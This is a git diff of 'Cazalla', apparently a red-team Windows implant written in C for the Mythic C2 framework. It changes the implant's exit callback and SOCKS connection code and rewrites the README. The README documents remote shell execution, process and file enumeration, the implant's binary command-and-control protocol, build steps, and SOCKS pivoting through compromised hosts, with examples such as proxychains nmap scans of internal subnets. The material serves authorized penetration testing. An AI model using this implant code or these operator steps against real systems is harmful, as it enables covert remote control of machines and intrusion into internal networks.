diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c index edd8700..b257249 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c @@ -8,26 +8,45 @@ BOOL cerrarCallback(PAnalizador argumentos){ SIZE_T tamanoUuid = 36; PCHAR tareaUuid = getString(argumentos, &tamanoUuid); - // Crear paquete de respuesta - PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE); + // Crear paquete de respuesta siguiendo el mismo patrΓ³n que otros comandos + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); - // Si falla la creaciσn del paquete, cerramos con error - if (!paquete) { + // Si falla la creaciΓ³n del paquete, cerramos con error + if (!respuesta) { ExitProcess(1); return FALSE; } // Agregar el UUID de la tarea - addString(paquete, tareaUuid, FALSE); + addString(respuesta, tareaUuid, FALSE); - // Indicar que la tarea se completσ con ιxito - addByte(paquete, TASK_COMPLETE); + // Crear paquete temporal para el mensaje de salida + PPaquete salida = nuevoPaquete(0, FALSE); + addString(salida, "Agent exiting...\n", FALSE); + + // Agregar el mensaje al paquete de respuesta + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); // Enviar el paquete - mandarPaquete(paquete); + Analizador* respuestaAnalizador = mandarPaquete(respuesta); - // Liberar memoria del paquete - liberarPaquete(paquete); + // Liberar memoria + liberarPaquete(salida); + liberarPaquete(respuesta); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + // Dar tiempo suficiente para que Mythic procese la respuesta + // Hacemos un pequeΓ±o delay y luego forzamos un flush final + Sleep(1000); + + // Enviar un GET_TASKING vacΓ­o para forzar que Mythic procese todo + PPaquete flushPkt = nuevoPaquete(GET_TASKING, TRUE); + Analizador* flushResp = mandarPaquete(flushPkt); + liberarPaquete(flushPkt); + if (flushResp) liberarAnalizador(flushResp); + + // Esperar un poco mΓ‘s antes de cerrar definitivamente + Sleep(1000); // Terminar el proceso ExitProcess(0); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c index d0baea9..9f4c9e3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c @@ -383,7 +383,11 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se memset(&sa,0,sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(port); - if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) { + + /* Intentar parsear como direcciΓ³n IP usando inet_addr (compatible con MinGW) */ + unsigned long addr = inet_addr(dest); + if (addr == INADDR_NONE) { + /* No es una IP vΓ‘lida, intentar resolver como hostname */ printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest); fflush(stdout); struct hostent *h = gethostbyname(dest); @@ -396,6 +400,9 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se sa.sin_addr = *(struct in_addr*)h->h_addr; printf("[SOCKS_MGR] Hostname resuelto OK\n"); fflush(stdout); + } else { + /* Es una IP vΓ‘lida */ + sa.sin_addr.s_addr = addr; } printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port); fflush(stdout); diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py index ac00b29..dc1482a 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/exit.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -1,4 +1,5 @@ from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * import json @@ -29,10 +30,15 @@ class ExitCommand(CommandBase): TaskID=taskData.Task.ID, Success=True, ) + # Marcar inmediatamente como completada ya que el agente se cerrarΓ‘ + response.Completed = True + response.TaskStatus = MythicStatus.Completed type = taskData.args.get_arg("type") response.DisplayParams = type return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + resp.TaskStatus = "completed" # Marcar explΓ­citamente como completada + resp.Completed = True return resp \ No newline at end of file diff --git a/README.md b/README.md index 454eb09..920c49f 100644 --- a/README.md +++ b/README.md @@ -1,302 +1,514 @@ -# Cazalla - Basic Mythic Implant in C +# Cazalla - Mythic C2 Agent -Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework. +
-This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. +![Cazalla Logo](agent_icons/cazalla.svg) -Cazalla is developed by the OFSTeam at Kaseya. +**A Windows implant written in C for the Mythic C2 Framework** -## Supported Commands +[![License](https://img.shields.io/badge/license-BSD--3--Clause-blue.svg)](LICENSE.md) +[![Mythic](https://img.shields.io/badge/Mythic-v3.x-red.svg)](https://github.com/its-a-feature/Mythic) +[![Platform](https://img.shields.io/badge/platform-Windows-lightgrey.svg)]() -Commands are organized by category for better clarity and extensibility. - -### πŸ“ File System Commands -| Command | Description | Status | -|---------|--------------------------|---------| -| `cd` | Change working directory | βœ… | -| `ls` | List directory contents | βœ… | -| `pwd` | Print working directory | βœ… | -| `cp` | Copy an existing file | βœ… | -| `mkdir` | Create a new directory | βœ… | -| `rm` | Delete file/directory | βœ… | - -### πŸ–₯️ Console Commands -| Command | Description | Status | -|---------|-------------------------------------|--------| -| `shell`| Execute arbitrary shell command | βœ… | - -### πŸ”„ Execution Control -| Command | Description | Status | -|---------|-------------------|--------| -| `exit` | Exit the implant | βœ… | -| `sleep`| Modify sleep time | βœ… | - -### 🧠 System Inspection -| Command | Description | Status | -|---------|-----------------------|--------| -| `ps` | List running processes| βœ… | - -> πŸ”§ To add a new command, see the [Creating New Commands](#creating-new-commands) section below. +
--- -## Install Cazalla +## πŸ“‹ Table of Contents -Once Mythic is installed and running, use the following command to install Cazalla: +- [Overview](#overview) +- [Features](#features) +- [Installation](#installation) +- [Supported Commands](#supported-commands) +- [SOCKS Proxy Support](#socks-proxy-support) +- [Communication Protocol](#communication-protocol) +- [Configuration](#configuration) +- [Development](#development) +- [Troubleshooting](#troubleshooting) +- [Credits](#credits) -```sh -./mythic-cli install github +--- + +## 🎯 Overview + +**Cazalla** is a lightweight Windows implant written in C, designed to work seamlessly with the [Mythic C2 Framework](https://github.com/its-a-feature/Mythic). It provides essential post-exploitation capabilities including file system manipulation, process enumeration, command execution, and SOCKS proxy functionality. + +This project was inspired by the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and has been extended with additional features and improvements. + +**Developed by:** Kaseya OFSTeam + +--- + +## ✨ Features + +- **Lightweight & Portable**: Minimal dependencies, compiled with MinGW for Windows targets +- **Full Mythic Integration**: Native support for Mythic's translator pattern and RPC system +- **SOCKS Proxy**: Route traffic through the implant with built-in SOCKS5 support +- **Dynamic Sleep**: Automatically adjusts beacon interval based on proxy activity +- **Custom Binary Protocol**: Efficient binary communication with base64 encoding +- **Modular Commands**: Easy to extend with new capabilities + +--- + +## πŸ“¦ Installation + +### Prerequisites + +1. **Mythic Server** (v3.x or later) installed and running +2. Clone this repository + +### Install Cazalla on Mythic + +```bash +cd ~/Mythic +./mythic-cli install github https://github.com//Cazalla ``` -## Communication Protocol +Or install from local directory: -### HEADER - Implant to C2 - -| Key | Key Len (bytes) | Type | -|---------|-------------------|------------| -| UUID | 36 | Str (char*)| -| Action | 1 | UInt32 | - -### HEADER - C2 to Implant - -| Key | Key Len (bytes) | Type | -|---------|-------------------|------------| -| Action | 1 | Int32 | - -UUID | BODY - -#### Checkin - Implant to C2 - -Expected: - -```json -{ - "action": "checkin", - "uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15", - "ip": "127.0.0.1", - "os": "win", - "arch": "x64", - "hostname": "PC", - "user": "bob", - "domain": "domain.com", - "pid": 123, - "processname": "malware.exe" -} +```bash +./mythic-cli install folder /path/to/Cazalla ``` -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| UUID | 36 | Str (char*) | -| Size IP | 4 | Uint32 | -| IP | Size IP | Str (char*) | -| Size OS | 4 | Uint32 | -| OS | Size OS | Str (char*) | -| Architecture | 1 | Int | -| Size Hostname | 4 | Uint32 | -| HostName | Size Hostname | Str (char*) | -| Size Username | 4 | Uint32 | -| Username | Size Username | Str (char*) | -| Size Domain | 4 | Uint32 | -| Domain | Size Domain | Str (char*) | -| PID | 4 | Uint32 | -| Size Process | 4 | Uint32 | -| Process Name | Size Process Name | Str (char*) | -| Size ExternIP | 4 | Uint32 | -| Extern IP | Size Extern IP | Str (char*) | +### Build the Agent -### Checkin - C2 to Implant +Cazalla can be built directly from the Mythic UI: -| Key | Key Len (bytes) | Type | -|----------|-------------------|-------------| -| New UUID | 36 | Str (char*) | -| Status | 1 | Byte | +1. Navigate to **Payloads** β†’ **Create Payload** +2. Select **Cazalla** as the payload type +3. Configure build parameters (C2 profile, sleep interval, etc.) +4. Click **Build** -### GetTasking - Implant to C2 +The agent will be cross-compiled for Windows using MinGW in a Docker container. -Expected: +--- -```json -{ - "action": "get_tasking", - "tasking_size": 1 -} +## πŸ› οΈ Supported Commands + +### File System Operations + +| Command | Description | Example | +|---------|-------------|---------| +| `ls` | List directory contents | `ls C:\Users` | +| `cd` | Change working directory | `cd C:\Windows\System32` | +| `pwd` | Print current directory | `pwd` | +| `cp` | Copy files | `cp source.txt dest.txt` | +| `mkdir` | Create directory | `mkdir C:\temp\new_folder` | +| `rm` | Delete file or directory | `rm C:\temp\file.txt` | + +### Execution & Control + +| Command | Description | Example | +|---------|-------------|---------| +| `shell` | Execute shell command | `shell whoami` | +| `sleep` | Adjust beacon interval | `sleep {"seconds":30,"jitter":0}` | +| `exit` | Terminate the implant | `exit` | + +### System Information + +| Command | Description | Example | +|---------|-------------|---------| +| `ps` | List running processes | `ps` | + +### Network Operations + +| Command | Description | Example | +|---------|-------------|---------| +| `socks` | Start/stop SOCKS proxy | `socks {"action":"start","port":7002}` | + +--- + +## 🌐 SOCKS Proxy Support + +Cazalla includes full SOCKS5 proxy support, allowing you to route traffic through the implant to reach internal network resources. + +### How It Works + +1. **Mythic opens a SOCKS port** on the server (default: `7002`) +2. **Client connects** to Mythic's SOCKS port (e.g., via `proxychains`) +3. **Mythic forwards** SOCKS traffic to the agent with a unique `server_id` per connection +4. **Agent establishes** the actual connection to the target host +5. **Bidirectional relay** between client ↔ Mythic ↔ Agent ↔ Target + +### Commands + +```bash +# Start SOCKS proxy on port 7002 +socks {"action":"start","port":7002} + +# Stop SOCKS proxy +socks {"action":"stop","port":7002} ``` -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Number tasks | 4 | Uint32 | +### Using the Proxy -### GetTasking - C2 to Implant +After starting SOCKS, configure your tools to use the proxy: -Expected: +#### With proxychains -```json -{ - "action": "get_tasking", - "tasks": [ - { - "command": "command name", - "parameters": "command param string", - "timestamp": 1578706611.324671, - "id": "task uuid" - } - ] -} +```bash +# Edit /etc/proxychains.conf +[ProxyList] +socks5 7002 + +# Use with any tool +proxychains curl https://internal-server.local +proxychains nmap -sT 192.168.1.0/24 ``` -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| NumberOfTasks | 4 | Uint32 | -| Size Of Task1 | 4 | Uint32 | -| Task1 CMD | 1 | Int | -| Task1 UUID | 36 | Str (char*) | -| Task1 LenPara1| 4 | Uint32 | -| Task1 Param1 | LenParam1 Task1 | Str(char*) | +#### With curl -### Post Response Header - Implant to C2 - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Number Resp | 4 | Uint32 | - -### Post Response Header - C2 to Implant - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Number Resp | 4 | Uint32 | - -### Post Response Classic Output Return - Implant to C2 - -Expected: - -```json -{ - "action": "post_response", - "responses": [ - { - "task_id": "uuid of task", - ... response message - } - ] -} +```bash +curl --socks5 :7002 https://internal-server.local ``` -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| UUID Resp 1 | 36 | Str (char*) | -| Size Output R1| 4 | Uint32 | -| Output R1 | Size Output | Bytes | -| Status R1 | 1 | Int | +#### With Firefox/Browser -### Post Response Classic Output Return - C2 to Implant +Configure SOCKS proxy in browser settings: +- **SOCKS Host**: `` +- **Port**: `7002` +- **SOCKS v5**: Enabled -Expected: +### Mythic Configuration for SOCKS -```json -{ - "action": "post_response", - "responses": [ - { - "task_id": UUID, - "status": "success" or "error", - "error": "error message if it exists" - } - ] -} +To expose SOCKS ports externally (not just localhost), edit `~/Mythic/.env`: + +```bash +# Allow SOCKS ports to bind on 0.0.0.0 (all interfaces) +MYTHIC_SERVER_DYNAMIC_PORTS_BIND_LOCALHOST_ONLY="false" + +# Define dynamic port range for SOCKS +MYTHIC_SERVER_DYNAMIC_PORTS="7000-7010" + +# Optional: Use host networking for direct port exposure +MYTHIC_DOCKER_NETWORKING="host" ``` -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Status Resp1 | 1 | Int | +After editing, restart Mythic: -## Creating New Commands +```bash +cd ~/Mythic +sudo ./mythic-cli restart +``` -### πŸ“¦ Mythic Side (Python) +Verify the port is open: -To add a new command in Mythic, create a `.py` file inside the agent's command folder (e.g., `shell.py`). A basic structure includes: +```bash +sudo netstat -tlnp | grep 7002 +# Should show: tcp 0.0.0.0:7002 0.0.0.0:* LISTEN +``` -- TaskArguments class -- CommandBase class +### Performance Considerations -Example: `shell.py` +- **Latency**: Proxy speed depends on beacon interval. SOCKS mode automatically reduces sleep to 100ms for responsive connections. +- **Throughput**: Suitable for interactive sessions and moderate data transfer. Not optimized for large file transfers. +- **Concurrent Connections**: Supports multiple simultaneous SOCKS connections with independent `server_id` tracking. + +### Technical Details + +#### Binary Protocol (0xF5 SOCKS Block) + +Agent and translator communicate SOCKS data using a custom binary block: + +``` +[0xF5] [ext_len:4] [server_id:4] [exit:4] [b64_len:4] [base64_data:N] +``` + +- `0xF5`: SOCKS block marker +- `ext_len`: Total extension length (remaining bytes) +- `server_id`: Unique connection ID from Mythic +- `exit`: `1` if connection should close, `0` otherwise +- `b64_len`: Length of base64-encoded payload +- `base64_data`: Base64-encoded raw bytes + +#### Agent Implementation + +- **File**: `socks_manager.c` / `socks_manager.h` +- **Commands**: `0x60` (START_SOCKS), `0x61` (STOP_SOCKS) +- **Thread Model**: One reader thread per active connection +- **Socket Timeout**: 60 seconds for idle connections + +--- + +## πŸ“‘ Communication Protocol + +Cazalla uses a custom binary protocol for efficient communication with Mythic. + +### Message Structure + +#### Agent β†’ Mythic + +``` +[UUID:36] [Action:1] [Body:N] +``` + +- **UUID**: 36-byte agent identifier (ASCII) +- **Action**: 1-byte action code (e.g., `0x80` for GET_TASKING, `0x81` for POST_RESPONSE) +- **Body**: Variable-length payload + +#### Mythic β†’ Agent + +``` +[Action:1] [Body:N] +``` + +- **Action**: 1-byte action code +- **Body**: Variable-length payload (tasks, SOCKS data, etc.) + +### Action Codes + +| Code | Direction | Description | +|------|-----------|-------------| +| `0x80` | Agent β†’ Mythic | GET_TASKING (request new tasks) | +| `0x81` | Agent β†’ Mythic | POST_RESPONSE (send task output) | +| `0xF5` | Bidirectional | SOCKS data block | + +### Task Structure + +Tasks sent to the agent include: + +``` +[TaskUUID:36] [CommandID:1] [Parameters:N] +``` + +Example command IDs: +- `0x01`: Shell command +- `0x10`: List directory +- `0x60`: Start SOCKS +- `0x61`: Stop SOCKS + +### Encoding + +All binary data is base64-encoded for transport over HTTP/HTTPS. + +--- + +## βš™οΈ Configuration + +### Agent Build Parameters + +When building from Mythic UI: + +- **Callback Host**: C2 server address +- **Callback Port**: C2 server port (default: 443) +- **User Agent**: HTTP User-Agent string +- **Sleep**: Initial beacon interval in seconds (default: 10) +- **Jitter**: Random delay percentage (0-100) + +### Compile-Time Options + +Edit `Config.h` before building: + +```c +#define INITIAL_SLEEP_MS 10000 // Default sleep: 10 seconds +#define SOCKS_ACTIVE_SLEEP_MS 100 // Sleep when SOCKS active: 100ms +#define SOCKS_TIMEOUT_SEC 60 // Socket read timeout +``` + +### Debug Mode + +Enable verbose logging by defining `DEBUG_SOCKS` during compilation: + +```bash +CFLAGS="-DDEBUG_SOCKS" make +``` + +This enables: +- `[MAINDBG]`: Main loop and sleep adjustments +- `[CMDDBG]`: Command parsing +- `[SOCKSDBG]`: Connection lifecycle +- `[SLEEPDBG]`: Dynamic sleep changes + +--- + +## πŸ”§ Development + +### Project Structure + +``` +Cazalla/ +β”œβ”€β”€ agent_code/cazalla/ # C source code +β”‚ β”œβ”€β”€ main.c # Entry point +β”‚ β”œβ”€β”€ cazalla.c/h # Main loop +β”‚ β”œβ”€β”€ comandos.c/h # Command handlers +β”‚ β”œβ”€β”€ paquete.c/h # Packet creation +β”‚ β”œβ”€β”€ transporte.c/h # HTTP transport (WinHTTP) +β”‚ β”œβ”€β”€ socks_manager.c/h # SOCKS proxy logic +β”‚ β”œβ”€β”€ checkin.c/h # Initial check-in +β”‚ └── Makefile # Build configuration +β”œβ”€β”€ agent_functions/ # Python command definitions +β”‚ β”œβ”€β”€ ls.py, cd.py, pwd.py # File system commands +β”‚ β”œβ”€β”€ shell.py, sleep.py # Execution control +β”‚ β”œβ”€β”€ socks.py # SOCKS proxy command +β”‚ └── builder.py # Payload builder +β”œβ”€β”€ translator/ # Mythic ↔ Agent translation +β”‚ β”œβ”€β”€ translator.py # Main translator +β”‚ β”œβ”€β”€ commands_from_c2.py # Mythic JSON β†’ Binary +β”‚ └── commands_from_implant.py # Binary β†’ Mythic JSON +└── browser_scripts/ # Mythic UI enhancements + β”œβ”€β”€ ls.js # Directory listing formatter + └── ps.js # Process list formatter +``` + +### Adding New Commands + +1. **Define command in Python** (`agent_functions/my_command.py`): ```python -class ShellArguments(TaskArguments): +from mythic_container.MythicCommandBase import * + +class MyCommandArguments(TaskArguments): def __init__(self, command_line, **kwargs): - ... + super().__init__(command_line, **kwargs) self.args = [ - CommandParameter(name="command", type=ParameterType.String, ...) + CommandParameter(name="arg1", type=ParameterType.String) ] -class ShellCommand(CommandBase): - cmd = "shell" - ... - async def create_tasking(self, task: MythicTask): - ... +class MyCommandCommand(CommandBase): + cmd = "my_command" + needs_admin = False + help_cmd = "my_command " + description = "Does something useful" + version = 1 + argument_class = MyCommandArguments - async def process_response(self, task, response): - ... + async def create_go_tasking(self, taskData: PTTaskMessageAllData): + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + async def process_response(self, task: PTTaskMessageAllData, response: any): + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp ``` -### 🧠 C2 Side (Python - `commands_from_c2.py`) -Update the commands dictionary with a unique hex code and input type: +2. **Add to translator** (`translator/commands_from_c2.py`): ```python -commands = { - ... - "newcmd": {"hex_code": 0xAB, "input_type": "string"} +elif task_command == "my_command": + task_data.append(0x99) # Command ID + arg1 = task.get("parameters", {}).get("arg1", "") + task_data += len(arg1).to_bytes(4, 'big') + task_data += arg1.encode('utf-8') +``` + +3. **Implement handler in C** (`comandos.c`): + +```c +BOOL myCommandHandler(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + PCHAR taskUuid = getString(argumentos, &tamanoUuid); + + SIZE_T arg1Size = 0; + PCHAR arg1 = getString(argumentos, &arg1Size); + + // Do something with arg1 + + // Send response + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, taskUuid, FALSE); + PackageAddFormatPrintf(respuesta, "Command executed: %s\n", arg1); + + Analizador* resp = mandarPaquete(respuesta); + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); + + return TRUE; } ``` -Update `responseTasking` to handle serialization of the new command’s parameters. -### πŸ’» Implant Side (C) +4. **Register in command dispatcher** (`comandos.c`): -Update the following files: - -`comandos.h` ```c -#define NEWCMD_CMD 0xAB -BOOL ejecutarNuevoCmd(PAnalizador argumentos); +case 0x99: // MY_COMMAND + myCommandHandler(argumentos); + break; ``` -`comandos.c` -Add your command logic in `handleGetTasking()`: -```c -else if (tarea == NEWCMD_CMD) { - ejecutarNuevoCmd(analizadorTarea); -} + +--- + +## πŸ› Troubleshooting + +### Agent Won't Check In + +- Verify C2 profile settings (host, port, endpoint) +- Check network connectivity from target to C2 server +- Review Mythic logs: `sudo docker logs mythic_server` +- Enable debug logging in agent and rebuild + +### SOCKS Proxy Not Working + +**Port not accessible:** +```bash +# Check if port is open +sudo netstat -tlnp | grep 7002 + +# Ensure Mythic config allows external binding +grep DYNAMIC_PORTS_BIND_LOCALHOST_ONLY ~/Mythic/.env +# Should be "false" for external access ``` -`nuevo_cmd.c` and `nuevo_cmd.h` -Create your new command implementation. -```c -BOOL ejecutarNuevoCmd(PAnalizador argumentos) { - // handle parsing and execution here -} + +**Proxy times out:** +- Verify agent is active and not sleeping +- Check translator logs: `sudo docker logs cazalla_translator` +- Ensure `server_id` validation in `socks_manager.c` allows Mythic's IDs + +**Data not flowing:** +- Enable `DEBUG_SOCKS` and rebuild agent +- Check for `0xF5` block in agent logs +- Verify translator is encoding/decoding SOCKS blocks correctly + +### Compilation Errors + +**`inet_pton` not found (MinGW):** +- Use `inet_addr` instead (Windows-native) +- Already fixed in current version + +**Missing headers:** +```bash +# Install MinGW dependencies in Docker +apt-get update && apt-get install -y mingw-w64 ``` -Don’t forget to add the source file to the build and include its header where needed. -## Future Development +### Task Stays in "Processing" State -### Planned improvements: +**Commands like `exit`, `socks start/stop`:** +- Ensure handler sends `POST_RESPONSE` with task UUID +- Mark task as completed in `create_go_tasking` or `process_response` +- For `exit`, mark completed immediately (agent terminates) -#### Improvements to perform ASAP: +--- -- Proxy +## πŸ“š References -https://github.com/jeeschr/basic-proxy-server/blob/master/proxy.c +- [Mythic Documentation](https://docs.mythic-c2.net/) +- [Building a Mythic Agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) +- [SOCKS5 Protocol (RFC 1928)](https://www.rfc-editor.org/rfc/rfc1928) +- [Mythic Translator Pattern](https://docs.mythic-c2.net/customizing/payload-type-development/translation-containers) -- BOFexecute -- rportfwd +--- -https://github.com/fidian/tcp-port-forward/blob/master/portforward.c -https://www.reddit.com/r/C_Programming/s/bWOTxm6phn +## πŸ“„ License +Cazalla is licensed under the **BSD 3-Clause License**. See [LICENSE.md](LICENSE.md) for details. -#### Improvements tier 2: +--- -- Persistence and evasion mechanisms -- Full implementation of pwd -- Additional file system and process control commands -- File upload/download +## πŸ‘₯ Credits -Made with β˜• and monster by the Kaseya OFSTeam \ No newline at end of file +**Developed by:** Kaseya OFSTeam + +Special thanks to: +- The Mythic C2 team for the excellent framework +- The SNCF Red Team for the foundational C agent tutorial +- The open-source security community + +--- + +
+ +**Made with β˜• and πŸ’» by the Kaseya OFSTeam** + +